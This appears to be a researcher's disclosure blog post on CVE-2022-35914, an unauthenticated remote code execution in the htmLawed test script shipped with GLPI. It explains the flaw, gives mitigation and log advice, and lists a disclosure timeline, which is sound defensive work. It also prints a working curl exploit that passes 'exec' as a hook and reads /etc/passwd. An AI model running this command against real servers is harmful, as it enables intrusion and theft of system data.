TL;DR;
Infos
On a recent pentest we faced an interesting scope with full up to date products and without any credentials. After spend some time on bruteforce dns, folders, all the login form and doing all kind of stuff i get nothing interesting. We found a GLPI product exposed on internet with a very recent vulnerability (an unauthenticated SQL injection, the vulnerability was publicized a week before the pentest, and it was already patched on the scope x_x ).
GLPI is a php solution, the definition given by the vendor is “GLPI stands for Gestionnaire Libre de Parc Informatique is a Free Asset and IT Management Software package, that provides ITIL Service Desk features, licenses tracking and software auditing.” This solution is quite used in France and it make it a very good target for our pentest.
Starting on a product with a recent critical vulnerability is not a bad idea to start an investigation. This means the vendor care about patching and he will certainly be reactive if you find something interesting.
After few hours of code digging, i got some interesting things to dig more but nothing to get inside my scope without authentication. On my research, i start digging on the vendor folder and there, i found a trivial vulnerability in the vendor folder of the GLPI product.
Context
- The vulnerability is not in GLPI by itself but in the third party library HTMLAWED https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/.
- The test script of the library was vulnerable in the version < v1.2.9. The day I noticed the vendor of this vulnerability he patched the release package and his server., he was very reactive and thankful. Thanks to him !
- On GLPI this library is given in the release version with an example script (the composer version does not include this script, but the composer used on GLPI download the all package).
- This will get the last version, so all should be fine no ?
- In fact the GLPI releases include the vendor folder directly on the release. So when you download version <= 9.5.8 or <= 10.0.2 you will get an old version of the library with the source code and also the htmLawedTest.php file with it.
Vulnerability description
- The issue happen when the htmLawedTest.php is present and it is the case by default in glpi 9.x and 10.x (don’t know about others) as GLPI directly get it with composer.
- On the GLPI application by default the path
/vendor/htmlawed/htmlawed/htmLawedTest.php
is available to all. - In htmLawedTest.php the programmer use the user entry to setup the htmlawed configuration and give the users all configurations available to test the product.
# htmlawedTest.php
...
if($do){
$cfg = array();
foreach($_POST as $k=>$v){
if($k[0] == 'h' && $v != 'nil'){
$cfg[substr($k, 1)] = $v;
}
}
...
$out = htmLawed($_POST['text'], $cfg, $_POST['spec']);
- As you can see the function htmlLawed is called with all parameters on our control.
- One of the available configuration options is a hook function. If the hook (or hook_tag) is controlled by the user he can setup a php execution where he can control the function name and the parameters (string or array, array, string or array).
# htmlawed.php
function htmLawed($t, $C=1, $S=array()){
...
$C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0;
...
if($C['hook']){$t = $C['hook']($t, $C, $S);}
- This match almost exactly the PHP exec function signature but php is nice on variable types so we can use the exec function as the hook.
exec(string $command, array &$output = null, int &$result_code = null): string|false
- So we got a command injection ($t is the user entry) and exec will override $C and $S.
- As $t is replaced with the result of the hook, this is just like a webshell we directly get the result of the command.
Please note that there is other ways to exploit the vulnerability without exec, by using callback functions like array_map,call_user_func,… do not rely on disable_function on exec to patch the vulnerability
GLPI release a patch on their github the 14/09/2022 for glpi 10.0.x (10.0.3) and 9.5.x (https://github.com/glpi-project/glpi/releases/tag/9.5.9). Htmlawed already patched the vulnerability.(The patch in htmlawed was only an unset of the hook and hook_tag parameters coming from the example script, so be careful if you call the function in your code with users parameters).
Impacts
- The impact of this vulnerability is an unauthenticated remote code execution so it is critical. (CVSS score 9.8)
- If your GLPI is exposed on internet you are on a critical risk (If it is your case, you shouldn’t do that. A ticket and IT management software must be limited to internal network or at least should be behind a previous authentication portal).
- Anyway to quickly patch without upgrade you should delete the file /vendor/htmlawed/htmlawed/htmLawedTest.php and search for access to this file in your logs. (I also recommends you to disallow direct access to the vendor folder directly to avoid that kind of vulnerabilities).
Traces of exploitation
- Search for /vendor/htmlawed/htmlawed/htmLawedTest.php in the logs to get traces of compromising.
Exploitation
As simple as that :
curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://localhost/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \[[0-9]+\] =\>'| sed -E 's/\ \[[0-9]+\] =\> (.*)<br \/>/\1/'
Timeline
- 13/07 :
- declaration to htmlawed library vendor
- cve open
- declaration to glpi vendor
- 13/07:
- fix provided by htmlawed vendor
- 14/09:
- glpi release version 10.0.3 with a fix
- 19/09:
- CVE-2022-35914 is public
- 01/10:
- Someone reverse the cve information and publish a public poc on github https://github.com/cosad3s/CVE-2022-35914-poc
- 03/10:
- As all information are already public i release this blog post before the “1 month after cve is public” safe time i would like to take.